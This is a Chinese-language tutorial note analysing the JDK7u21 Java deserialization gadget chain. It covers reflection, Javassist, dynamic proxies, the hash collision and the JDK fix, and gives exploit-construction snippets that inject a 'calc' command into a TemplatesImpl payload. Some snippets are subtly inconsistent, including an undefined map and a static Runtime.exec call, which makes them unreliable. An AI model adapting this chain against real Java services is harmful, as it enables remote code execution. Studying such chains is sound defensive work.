JDK7u21反序列化漏洞分析笔记
字数 1583 2025-08-05 08:17:46
JDK7u21反序列化漏洞分析与利用教学文档
0x01 漏洞概述
JDK7u21原生gadget链是一个经典的反序列化漏洞利用链,通过精心构造的序列化数据,可以在目标系统上实现远程代码执行。该漏洞利用了Java反序列化机制中的多个特性,包括反射、动态代理、hash碰撞等技术。
0x02 前置知识
1. Java反射机制
反射是Java的重要特性,允许程序在运行时获取类的信息并操作对象:
- 可以获取任意类的成员变量、方法和构造器信息
- 可以无视访问权限修饰符调用方法和访问字段
- 通过
Class.forName()、getMethod()、getField()等方法实现
安全风险:反射可以绕过安全检查,调用任意方法,如Runtime.getRuntime().exec()。
2. Javassist动态修改类
Javassist是一个处理Java字节码的类库,主要类:
ClassPool:CtClass对象容器CtClass:表示类CtMethod:表示类方法CtField:表示类字段
示例:动态创建类并插入恶意代码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("EvilClass");
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classBytes = clazz.toBytecode();
3. Java类加载机制
类加载分为三个阶段:
- 加载:将.class文件加载到内存
- 链接:验证、准备、解析
- 初始化:执行静态代码块和静态变量初始化
静态类加载:发生在初始化阶段,早于其他类加载。
4. Java动态代理
动态代理通过Proxy类和InvocationHandler接口实现:
Proxy.newProxyInstance()创建代理对象- 所有代理方法调用都会转发到
InvocationHandler.invoke()
关键方法:
Object invoke(Object proxy, Method method, Object[] args)
5. Hash碰撞
两个不同字符串计算得到相同的Hash值。在JDK7u21利用中,需要找到hashCode为0的字符串(如"f5a5a608")。
0x03 漏洞利用链分析
利用链整体流程
LinkedHashSet.readObject()
-> HashMap.put()
-> Proxy(Templates).equals(TemplatesImpl)
-> AnnotationInvocationHandler.invoke()
-> equalsImpl()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> ClassLoader.defineClass()
-> 恶意类静态代码块执行
关键组件分析
1. TemplatesImpl
恶意代码执行载体,需要满足以下条件:
_name字段不为null_class字段为null_bytecodes字段包含恶意类字节码_tfactory为TransformerFactoryImpl实例- 恶意类必须是AbstractTranslet的子类
触发方法:
getOutputProperties()newTransformer()
2. AnnotationInvocationHandler
动态代理的调用处理器,关键方法:
Object invoke(Object proxy, Method method, Object[] args) {
if (method.getName().equals("equals")) {
return equalsImpl(args[0]);
}
// ...
}
equalsImpl()会调用传入对象的所有方法,包括getOutputProperties()。
3. LinkedHashSet
反序列化入口,其readObject()会调用元素的equals()方法进行比对。
0x04 漏洞利用步骤
1. 构造恶意TemplatesImpl
public static TemplatesImpl createTemplatesImpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
// 使用Javassist构造恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在静态初始化块插入恶意代码
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.exec(\"calc\");");
clazz.setName("EvilClass" + System.nanoTime());
// 设置TemplatesImpl必要字段
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
2. 构造动态代理
// 创建AnnotationInvocationHandler
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Templates.class, new HashMap());
// 创建代理对象
Templates proxy = (Templates)Proxy.newProxyInstance(
exp.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
3. 构造触发链
// 使用LinkedHashSet作为入口
LinkedHashSet set = new LinkedHashSet();
// 添加元素,顺序很重要
set.add(templates); // 真实TemplatesImpl对象
set.add(proxy); // 代理对象
// 添加hash碰撞键
map.put("f5a5a608", templates);
0x05 漏洞修复
JDK通过以下方式修复此漏洞:
- 在AnnotationInvocationHandler构造函数中添加类型检查:
if (!type.isAnnotation() || ...) {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
- 在getMemberMethods()中添加方法验证:
private void validateAnnotationMethods(Method[] memberMethods) {
// 检查方法修饰符、参数、返回类型等
if (!valid) {
throw new AnnotationFormatError("Malformed method on an annotation type");
}
}
- 修改异常处理,将return改为抛出InvalidObjectException
0x06 总结
JDK7u21反序列化漏洞利用链涉及多个Java核心技术点:
- 使用TemplatesImpl作为恶意代码载体
- 通过AnnotationInvocationHandler实现方法调用转发
- 利用动态代理触发equals方法调用
- 通过LinkedHashSet反序列化触发整个利用链
- 使用hash碰撞绕过HashMap的key检查
该漏洞利用链构造精巧,是学习Java反序列化漏洞的经典案例。理解此漏洞需要对Java多个底层机制有深入认识。